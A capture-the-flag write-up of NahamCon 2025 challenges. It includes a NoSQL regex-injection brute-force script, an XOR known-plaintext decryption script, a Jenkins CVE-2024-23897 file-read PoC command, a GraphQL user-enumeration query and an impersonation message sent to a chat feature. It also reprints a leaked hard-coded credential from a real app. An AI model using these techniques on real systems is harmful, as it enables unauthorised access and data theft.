NahamCon 2025 CTF Writeup
🕒 2025/05/25
SNAD
- Category:
Web| Difficulty:Easy
1. Website
2. Source Code
- http://challenge.nahamcon.com:32403/

- http://challenge.nahamcon.com:32403/js/script.js
const targetPositions

function injectSand(e, t, o)
- creates a new Particle at (x,y) with the given hue and pushes it into the
particlesarray.
- creates a new Particle at (x,y) with the given hue and pushes it into the
function checkFlag()
- checks each target position (
particles) against settled particles (targetPositions) for proximity (<15px) and hue difference (<20°), counts how many match, and once at least 7 have been found (e >= 7), it will callretrieveFlag().
- checks each target position (
3. Exploit
So the solution is simple: we just have to place seven particles at the target positions (targetPositions).
NoSequel
- Category:
Web| Difficulty:Easy
1. Website
-
- You can enter a regex pattern to check whether the string matches:


- Input:
flag: {$regex: "^flag{.*"}|Flags:

Pattern matched
We found that the string is the flag.
- You can enter a regex pattern to check whether the string matches:
2. Exploit
exp.py#!/usr/bin/env python3 import requests import string URL = "http://challenge.nahamcon.com:30184/search" HEADERS = { "Content-Type": "application/x-www-form-urlencoded" } def exists(regex): data = { "query": f'flag: {{$regex: "^{regex}.*"}}', "collection": "flags" } r = requests.post(URL, data=data, headers=HEADERS) return "Pattern matched" in r.text def brute_flag(max_len=50): charset = string.ascii_letters + string.digits + "_{}-!@" flag = "" for pos in range(max_len): for ch in charset: trial = flag + ch if exists(trial): flag = trial print(f"Found so far: {flag}") break else: return flag return flag if __name__ == "__main__": flag = brute_flag() print("\nFLAG : ", flag)python3 exp.py

Cryptoclock
- Category:
Cryptography| Difficulty:Easy
1. Interaction
2. Source Code
server.py#!/usr/bin/env python3 import socket import threading import time import random import os from typing import Optional def encrypt(data: bytes, key: bytes) -> bytes: """Encrypt data using XOR with the given key.""" return bytes(a ^ b for a, b in zip(data, key)) def generate_key(length: int, seed: Optional[float] = None) -> bytes: """Generate a random key of given length using the provided seed.""" if seed is not None: random.seed(int(seed)) return bytes(random.randint(0, 255) for _ in range(length)) def handle_client(client_socket: socket.socket): """Handle individual client connections.""" try: with open('flag.txt', 'rb') as f: flag = f.read().strip() current_time = int(time.time()) key = generate_key(len(flag), current_time) encrypted_flag = encrypt(flag, key) welcome_msg = b"Welcome to Cryptoclock!\n" welcome_msg += b"The encrypted flag is: " + encrypted_flag.hex().encode() + b"\n" welcome_msg += b"Enter text to encrypt (or 'quit' to exit):\n" client_socket.send(welcome_msg) while True: data = client_socket.recv(1024).strip() if not data: break if data.lower() == b'quit': break key = generate_key(len(data), current_time) encrypted_data = encrypt(data, key) response = b"Encrypted: " + encrypted_data.hex().encode() + b"\n" client_socket.send(response) except Exception as e: print(f"Error handling client: {e}") finally: client_socket.close() def main(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', 1337)) server.listen(5) print("Server started on port 1337...") try: while True: client_socket, addr = server.accept() print(f"Accepted connection from {addr}") client_thread = threading.Thread(target=handle_client, args=(client_socket,)) client_thread.start() except KeyboardInterrupt: print("\nShutting down server...") finally: server.close() if __name__ == "__main__": main()
- The server sends the encrypted flag:
flag_ct = flag XOR key, whereRis the keystream generated using the current time as the seed. - You can submit any plaintext
known_ptand receiveknown_ct = known_pt ⊕ key'. - If the plaintext is submitted within the same second as the flag was encrypted, then
key = key'.
- Vulnerbilities
- Predictable PRNG seed
- the server uses
int(time.time())(the current UNIX second) to seed the pseudorandom generator.
- the server uses
- Keystream reuse
- the same seed generates one keystream that encrypts both the flag and any plaintext you send within that same second.
- XOR weakness
- if
flag_ct = flag XOR keyand you supply a known plaintextknown_ptto getknown_ct = known_pt XOR key, thenkey = known_ct XOR known_pt. Once you knowkey, you recoverflag = flag_ct XOR key.
- if
- Predictable PRNG seed
- Attack Path
- Receive
flag_ct- On connection, the server sends
flag_ct = flag XOR key, wherekeyis derived from the current timestamp.
- On connection, the server sends
- Send known plaintext
- Immediately send a known plaintext
known_pt = b"A" * len(flag_ct)within the same second.
- Immediately send a known plaintext
- Receive
known_ct- Server replies with
known_ct = known_pt XOR key', wherekey' = keyif the second hasn’t changed.
- Server replies with
- Recover key
key = known_ct XOR known_pt
- Recover flag
flag = flag_ct XOR key
- Receive
3. Exploit
exp.py#!/usr/bin/env python3 from pwn import * import re HOST, PORT = "challenge.nahamcon.com", 30354 io = remote(HOST, PORT) banner = io.recv(timeout=1).decode(errors="ignore") print("=== server banner ===") print(banner) print("=====================") mflag = re.search(r"encrypted flag is:\s*([0-9a-fA-F]+)", banner) flag_ct = bytes.fromhex(mflag.group(1)) n = len(flag_ct) known_pt = b"A" * n io.sendline(known_pt) resp = io.recvline().decode(errors="ignore") mknown = re.search(r"Encrypted:\s*([0-9a-fA-F]+)", resp) known_ct = bytes.fromhex(mknown.group(1)) key = xor(known_ct, b"A"*n) flag = xor(flag_ct, key) print("\nFLAG : ", flag.decode())python3 exp.py

The Best Butler
- Category:
DevOps| Difficulty:Easy
1. Website
-
http://challenge.nahamcon.com:30757/


Jenkins 2.332.2
The website appears to be running
Jenkins 2.332.2.
2. CVE-2024-23897 Arbitrary File Read
We found that this version is vulnerable to CVE-2024-23897, which allows arbitrary file read.
So we used a publicly available exploit from GitHub to read /flag.txt.
- CVE-2024-23897
- Refs
python3 poc.py http://challenge.nahamcon.com:30757 /flag.txt


Sending Mixed Signals
- Category:
OSINT| Difficulty:Easy
1. Website
- http://challenge.nahamcon.com:32618/

We have to answer this 3 questions to get the flag.
2. Answers
- Q1. Find the hard-coded credential in the application used to encrypt log files. (format
jUStHEdATA, no quotes)- Referring to https://micahflee.com/heres-the-source-code-for-the-unofficial-signal-app-used-by-trump-officials/, we found that the hard-coded credential used for log file encryption is
enRR8UVVywXYbFkqU#QDPRkO.

- Referring to https://micahflee.com/heres-the-source-code-for-the-unofficial-signal-app-used-by-trump-officials/, we found that the hard-coded credential used for log file encryption is
- Q2. Find the email address of the developer who added the hard-coded credential from question one to the code base (format
name@email.site)- The article above provides the source code of the app (https://github.com/micahflee/TM-SGNL-iOS), so we can clone the repository and use
git logto identify the developer's email who added the hard-coded credential.
- The article above provides the source code of the app (https://github.com/micahflee/TM-SGNL-iOS), so we can clone the repository and use
- Q3. Find the first published version of the application that contained the hard-coded credential from question one (case sensitive, format
Word_#.#.#......).- The above (
git log) also reveals the first published version that included the hard-coded credential, which isRelease_5.4.11.20.
- The above (
- Flag


The Mission
- Category:
Web| Difficulty:Medium
1. Website
Let's log in using the provided credentials: hacker | password123:

2. Flag #4
- Source Code
We noticed that it makes a GraphQL request.
We used Burp Suite for further investigation. Below is the POST request sent to /api/v2/graphql.
The application appears to use a GraphQL query to fetch the username and email in order to display them on the settings page.
By modifying this query, we were able to enumerate all users and obtain their email addresses using the following payload:
-
"query":"query GetAllUsers {\n users {\n id\n username\n email\n }\n}"query GetAllUsers { users { id username email } }
The response revealed the flag, which is the email address of Stok.
3. Flag #6
- Source Code
We found a chat feature, which works by sending POST requests to /api/v2/chat with the user's message.
Let’s test the chat feature using Burp Suite to see how it behaves.
As shown above, we obtained the flag by sending the message I'm BuildHackSecure.


























